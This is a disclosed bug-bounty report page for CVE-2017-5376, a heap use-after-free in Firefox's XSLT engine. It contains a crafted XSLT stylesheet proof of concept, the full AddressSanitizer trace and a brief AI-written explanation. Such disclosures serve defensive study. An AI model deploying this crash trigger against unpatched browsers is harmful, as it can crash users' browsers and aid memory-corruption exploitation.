Skip to content
Memory corruption Disclosed report Advanced CVE-2017-5376

ASan heap UAF via xsl:key and xsl:variable

A heap-use-after-free occurs in Firefox's XSLT engine when an xsl:key uses an xsl:variable that contains a non-XSLT element, causing the execution state to be freed and then read during destruction. An attacker could potentially crash the browser or execute arbitrary code by supplying a crafted XSLT stylesheet.

Nicolas Grégoire Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 44 days
  • Paid in 3 months
  • Disclosed after 44 days

Tested with XPCshell "JavaScript-C52.0a1"

[+] XML document

<foo />

[+] XSLT code

<xsl:transform xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="2.0"> <xsl:variable name="v"> <xsl:foobar /> </xsl:variable> <xsl:key match="/" name="k" use="$v" /> <xsl:template match="/"> <xsl:value-of select="key('k', '/')" /> </xsl:template> </xsl:transform>

[+] ASan output

==2814==ERROR: AddressSanitizer: heap-use-after-free on address 0x60300006c160 at pc 0x7f1c68baee30 bp 0x7ffdb6bc1ca0 sp 0x7ffdb6bc1c98 READ of size 8 at 0x60300006c160 thread T0 #0 0x7f1c68baee2f in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:98:5 #1 0x7f1c68be6535 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:700:1 #2 0x7f1c68bec01b in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:644:12 #3 0x7f1c68bec01b in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1321 #4 0x7f1c6699d27d in mozilla::dom::XSLTProcessorBinding::transformToDocument(JSContext*, JS::Handle<JSObject*>, txMozillaXSLTProcessor*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/XSLTProcessorBinding.cpp:154:43 #5 0x7f1c671ce5a0 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2857:13 #6 0x7f1c6d3c2a35 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15 #7 0x7f1c6d3c2a35 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:446 #8 0x7f1c6d3a8dda in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:509:12 #9 0x7f1c6d3a8dda in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2922 #10 0x7f1c6d38dbd3 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:404:12 #11 0x7f1c6d3c5282 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:685:15 #12 0x7f1c6d3c5b1b in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:717:12 #13 0x7f1c6cecac60 in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/jsapi.cpp:4333:12 #14 0x7f1c6417b809 in ProcessFile(mozilla::dom::AutoJSAPI&, char const*, _IO_FILE*, bool) /home/worker/workspace/build/src/js/xpconnect/src/XPCShellImpl.cpp:886:31 #15 0x7f1c6417bea2 in Process(mozilla::dom::AutoJSAPI&, char const*, bool) /home/worker/workspace/build/src/js/xpconnect/src/XPCShellImpl.cpp:943:15 #16 0x7f1c6415a0fb in ProcessArgs /home/worker/workspace/build/src/js/xpconnect/src/XPCShellImpl.cpp:1144:16 #17 0x7f1c6415a0fb in XRE_XPCShellMain /home/worker/workspace/build/src/js/xpconnect/src/XPCShellImpl.cpp:1578 #18 0x4defbc in main /home/worker/workspace/build/src/js/xpconnect/shell/xpcshell.cpp:62:18 #19 0x7f1c5d56382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #20 0x41b958 in _start (/work/firefox/bin/xpcshell+0x41b958)

0x60300006c160 is located 0 bytes inside of 24-byte region [0x60300006c160,0x60300006c178) freed by thread T0 here: #0 0x4b20ab in free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3 #1 0x7f1c68bc7d4b in txXSLKey::testNode(txXPathNode const&, txKeyValueHashKey&, nsTHashtable<txKeyValueHashEntry>&, txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txKeyFunctionCall.cpp:353:13 #2 0x7f1c68bc7441 in txXSLKey::indexTree(txXPathNode const&, txKeyValueHashKey&, nsTHashtable<txKeyValueHashEntry>&, txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txKeyFunctionCall.cpp:299:19 #3 0x7f1c68bc6e93 in txXSLKey::indexSubtreeRoot(txXPathNode const&, nsTHashtable<txKeyValueHashEntry>&, txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txKeyFunctionCall.cpp:283:12 #4 0x7f1c68bb251e in txKeyHash::getKeyNodes(txExpandedName const&, txXPathNode const&, nsAString_internal const&, bool, txExecutionState&, txNodeSet**) /home/worker/workspace/build/src/dom/xslt/xslt/txKeyFunctionCall.cpp:221:19 #5 0x7f1c68bc656a in getKeyNodes /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:425:12 #6 0x7f1c68bc656a in txKeyFunctionCall::evaluate(txIEvalContext*, txAExprResult**) /home/worker/workspace/build/src/dom/xslt/xslt/txKeyFunctionCall.cpp:89 #7 0x7f1c68bc550a in txValueOf::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txInstructions.cpp:929:19 #8 0x7f1c68c1c30d in txXSLTProcessor::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txXSLTProcessor.cpp:49:14 #9 0x7f1c68be6138 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:675:14 #10 0x7f1c68bec01b in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:644:12 #11 0x7f1c68bec01b in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1321 #12 0x7f1c6699d27d in mozilla::dom::XSLTProcessorBinding::transformToDocument(JSContext*, JS::Handle<JSObject*>, txMozillaXSLTProcessor*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/XSLTProcessorBinding.cpp:154:43 #13 0x7f1c671ce5a0 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2857:13 #14 0x7f1c6d3c2a35 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15 #15 0x7f1c6d3c2a35 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:446 #16 0x7f1c6d3a8dda in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:509:12 #17 0x7f1c6d3a8dda in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2922 #18 0x7f1c6d38dbd3 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:404:12 #19 0x7f1c6d3c5282 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:685:15 #20 0x7f1c6d3c5b1b in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:717:12 #21 0x7f1c6cecac60 in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/jsapi.cpp:4333:12 #22 0x7f1c6417b809 in ProcessFile(mozilla::dom::AutoJSAPI&, char const*, _IO_FILE*, bool) /home/worker/workspace/build/src/js/xpconnect/src/XPCShellImpl.cpp:886:31 #23 0x7f1c6417bea2 in Process(mozilla::dom::AutoJSAPI&, char const*, bool) /home/worker/workspace/build/src/js/xpconnect/src/XPCShellImpl.cpp:943:15 #24 0x7f1c6415a0fb in ProcessArgs /home/worker/workspace/build/src/js/xpconnect/src/XPCShellImpl.cpp:1144:16 #25 0x7f1c6415a0fb in XRE_XPCShellMain /home/worker/workspace/build/src/js/xpconnect/src/XPCShellImpl.cpp:1578 #26 0x4defbc in main /home/worker/workspace/build/src/js/xpconnect/shell/xpcshell.cpp:62:18 #27 0x7f1c5d56382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

previously allocated by thread T0 here: #0 0x4b23cb in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3 #1 0x4df14d in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17 #2 0x7f1c68baf29c in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12 #3 0x7f1c68baf29c in txExecutionState::init(txXPathNode const&, txOwningExpandedNameMap<txIGlobalParameter>) /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:110 #4 0x7f1c68be6121 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:671:19 #5 0x7f1c68bec01b in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:644:12 #6 0x7f1c68bec01b in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1321 #7 0x7f1c6699d27d in mozilla::dom::XSLTProcessorBinding::transformToDocument(JSContext, JS::Handle<JSObject*>, txMozillaXSLTProcessor*, JSJitMethodCallArgs const&) /home/worker/workspace/build/src/obj-firefox/dom/bindings/XSLTProcessorBinding.cpp:154:43 #8 0x7f1c671ce5a0 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /home/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:2857:13 #9 0x7f1c6d3c2a35 in CallJSNative /home/worker/workspace/build/src/js/src/jscntxtinlines.h:239:15 #10 0x7f1c6d3c2a35 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:446 #11 0x7f1c6d3a8dda in CallFromStack /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:509:12 #12 0x7f1c6d3a8dda in Interpret(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2922 #13 0x7f1c6d38dbd3 in js::RunScript(JSContext*, js::RunState&) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:404:12 #14 0x7f1c6d3c5282 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::AbstractFramePtr, JS::Value*) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:685:15 #15 0x7f1c6d3c5b1b in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /home/worker/workspace/build/src/js/src/vm/Interpreter.cpp:717:12 #16 0x7f1c6cecac60 in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>, JS::MutableHandleJS::Value) /home/worker/workspace/build/src/js/src/jsapi.cpp:4333:12 #17 0x7f1c6417b809 in ProcessFile(mozilla::dom::AutoJSAPI&, char const*, _IO_FILE*, bool) /home/worker/workspace/build/src/js/xpconnect/src/XPCShellImpl.cpp:886:31 #18 0x7f1c6417bea2 in Process(mozilla::dom::AutoJSAPI&, char const*, bool) /home/worker/workspace/build/src/js/xpconnect/src/XPCShellImpl.cpp:943:15 #19 0x7f1c6415a0fb in ProcessArgs /home/worker/workspace/build/src/js/xpconnect/src/XPCShellImpl.cpp:1144:16 #20 0x7f1c6415a0fb in XRE_XPCShellMain /home/worker/workspace/build/src/js/xpconnect/src/XPCShellImpl.cpp:1578 #21 0x4defbc in main /home/worker/workspace/build/src/js/xpconnect/shell/xpcshell.cpp:62:18 #22 0x7f1c5d56382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:98:5 in txExecutionState::~txExecutionState()

The original report as published on Mozilla's Bugzilla, by Nicolas Grégoire. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the XSLT engine does not properly manage the lifetime of the execution state when an xsl:key's use expression references a variable containing a non-XSLT element, leading to a use-after-free during destruction.

Impact

An attacker could potentially crash the browser or execute arbitrary code by tricking a user into loading a malicious XSLT stylesheet, though the report only demonstrates a crash under AddressSanitizer.

What the attacker needed

Victim loads a malicious XSLT stylesheet

How it was found

  1. Create an XML document containing a single element.
  2. Create an XSLT stylesheet that defines a variable containing a non-XSLT element, uses that variable in an xsl:key, and then calls the key function.
  3. Load the stylesheet and transform the XML document using the XSLTProcessor in XPCshell.
  4. Observe the AddressSanitizer heap-use-after-free error.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This report shows a memory safety bug in Firefox's XSLT processor. XSLT is a language for transforming XML documents. When a specially crafted stylesheet is processed, Firefox frees a memory object but then tries to use it again, which can crash the browser or let an attacker run their own code.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nicolas Grégoire

View all

5 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.